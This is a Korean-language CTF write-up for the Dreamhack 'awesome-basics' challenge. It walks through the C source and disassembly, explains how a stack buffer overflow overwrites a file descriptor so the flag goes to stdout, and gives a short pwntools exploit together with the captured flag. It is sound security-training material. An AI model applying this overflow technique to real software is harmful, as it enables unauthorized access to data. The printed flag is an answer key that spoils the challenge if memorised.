[dreamhack] awesome-basics writeup

1. 문제

thumbnail
awesome-basics

Stack Buffer Overflow 취약점이 존재하는 프로그램입니다.
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/835

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

#define FLAG_SIZE 0x45

char *flag;

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    int flag_fd;
    int tmp_fd;
    char buf[80];

    initialize();

    // read flag
    flag = (char *)malloc(FLAG_SIZE);
    flag_fd = open("./flag", O_RDONLY);
    read(flag_fd, flag, FLAG_SIZE);
    close(flag_fd);

    tmp_fd = open("./tmp/flag", O_WRONLY);

    write(stdout_fd, "Your Input: ", 12);
    read(stdin_fd, buf, 0x80);

    write(tmp_fd, flag, FLAG_SIZE);
    write(tmp_fd, buf, 80);
    close(tmp_fd);

    return 0;
}

flag 변수에 ./flag파일을 읽어서 쓴 후, buf에는 내가 입력한 내용을 받는다. 이후 ./tmp/flag 파일에 flag의 내용과 buf에 있는 내용을 쓰는 코드이다.


먼저 gdb를 보고 각 변수의 정확한 위치를 확인해보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000000012ef <+0>:	endbr64
   0x00000000000012f3 <+4>:	push   rbp
   0x00000000000012f4 <+5>:	mov    rbp,rsp
   0x00000000000012f7 <+8>:	sub    rsp,0x70
   0x00000000000012fb <+12>:	mov    DWORD PTR [rbp-0x64],edi
   0x00000000000012fe <+15>:	mov    QWORD PTR [rbp-0x70],rsi
   0x0000000000001302 <+19>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000001309 <+26>:	mov    DWORD PTR [rbp-0x8],0x1
   0x0000000000001310 <+33>:	mov    eax,0x0
   0x0000000000001315 <+38>:	call   0x128a <initialize>
   0x000000000000131a <+43>:	mov    edi,0x45
   0x000000000000131f <+48>:	call   0x1140 <malloc@plt>
   0x0000000000001324 <+53>:	mov    QWORD PTR [rip+0x2d05],rax        # 0x4030 <flag>
   0x000000000000132b <+60>:	mov    esi,0x0
   0x0000000000001330 <+65>:	lea    rax,[rip+0xcd6]        # 0x200d
   0x0000000000001337 <+72>:	mov    rdi,rax
   0x000000000000133a <+75>:	mov    eax,0x0
   0x000000000000133f <+80>:	call   0x1160 <open@plt>
   0x0000000000001344 <+85>:	mov    DWORD PTR [rbp-0xc],eax
   0x0000000000001347 <+88>:	mov    rcx,QWORD PTR [rip+0x2ce2]        # 0x4030 <flag>
   0x000000000000134e <+95>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000001351 <+98>:	mov    edx,0x45
   0x0000000000001356 <+103>:	mov    rsi,rcx
   0x0000000000001359 <+106>:	mov    edi,eax
   0x000000000000135b <+108>:	call   0x1120 <read@plt>
   0x0000000000001360 <+113>:	mov    eax,DWORD PTR [rbp-0xc]
   0x0000000000001363 <+116>:	mov    edi,eax
   0x0000000000001365 <+118>:	call   0x1110 <close@plt>
   0x000000000000136a <+123>:	mov    esi,0x1
   0x000000000000136f <+128>:	lea    rax,[rip+0xc9e]        # 0x2014
   0x0000000000001376 <+135>:	mov    rdi,rax
   0x0000000000001379 <+138>:	mov    eax,0x0
   0x000000000000137e <+143>:	call   0x1160 <open@plt>
   0x0000000000001383 <+148>:	mov    DWORD PTR [rbp-0x10],eax
   0x0000000000001386 <+151>:	mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000001389 <+154>:	mov    edx,0xc
   0x000000000000138e <+159>:	lea    rcx,[rip+0xc8a]        # 0x201f
   0x0000000000001395 <+166>:	mov    rsi,rcx
   0x0000000000001398 <+169>:	mov    edi,eax
   0x000000000000139a <+171>:	call   0x10f0 <write@plt>
   0x000000000000139f <+176>:	lea    rcx,[rbp-0x60]
   0x00000000000013a3 <+180>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000000013a6 <+183>:	mov    edx,0x80
   0x00000000000013ab <+188>:	mov    rsi,rcx
   0x00000000000013ae <+191>:	mov    edi,eax
   0x00000000000013b0 <+193>:	call   0x1120 <read@plt>
   0x00000000000013b5 <+198>:	mov    rcx,QWORD PTR [rip+0x2c74]        # 0x4030 <flag>
   0x00000000000013bc <+205>:	mov    eax,DWORD PTR [rbp-0x10]
   0x00000000000013bf <+208>:	mov    edx,0x45
   0x00000000000013c4 <+213>:	mov    rsi,rcx
   0x00000000000013c7 <+216>:	mov    edi,eax
   0x00000000000013c9 <+218>:	call   0x10f0 <write@plt>
   0x00000000000013ce <+223>:	lea    rcx,[rbp-0x60]
   0x00000000000013d2 <+227>:	mov    eax,DWORD PTR [rbp-0x10]
   0x00000000000013d5 <+230>:	mov    edx,0x50
   0x00000000000013da <+235>:	mov    rsi,rcx
   0x00000000000013dd <+238>:	mov    edi,eax
   0x00000000000013df <+240>:	call   0x10f0 <write@plt>
   0x00000000000013e4 <+245>:	mov    eax,DWORD PTR [rbp-0x10]
   0x00000000000013e7 <+248>:	mov    edi,eax
   0x00000000000013e9 <+250>:	call   0x1110 <close@plt>
   0x00000000000013ee <+255>:	mov    eax,0x0
   0x00000000000013f3 <+260>:	leave
   0x00000000000013f4 <+261>:	ret
End of assembler dump.

처음에 stack에는 0x70만큼 할당하지만, 변수들을 넣는 것을 보고 정리하면 아래와 같다.

변수명 위치
rbp-0x60 buf
rbp-0x10 tmp_fd
rbp-0xc flag_fd
rbp-0x8 stdout_fd
rbp-0x4 stdin_fd

그런데 buf 변수에 입력을 할때 0x80만큼 넣을 수 있기 때문에 bof 취약점이 발생한다. 코드를 보면 buf 변수에 read를 한 직후에 tmp_fdflag 내용을 쓴다. tmp_fdbuf 뒤에 위치하고 있기 때문에 이를 만약 stdout, 즉 0x1로 덮을 수 있으면 코드가 아래와 같이 변할 것이다.

write(stdout, flag, FLAG_SIZE);

이러면 tmp_fdflag 값을 쓰지않고 stdout으로 출력하게 되므로 해결할 수 있다.

최종 exploit은 아래와 같다.

from pwn import *

p = remote("host3.dreamhack.games", 15512)

p.recvuntil("Your Input: ")

payload = b'a' * 80
payload += p64(0x1)
p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/awesome-basics$ python3 e_chall.py 
[+] Opening connection to host3.dreamhack.games on port 15512: Done
/home/ubuntu/dreamhack/level1/awesome-basics/e_chall.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Your Input: ")
[*] Switching to interactive mode
DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

해결~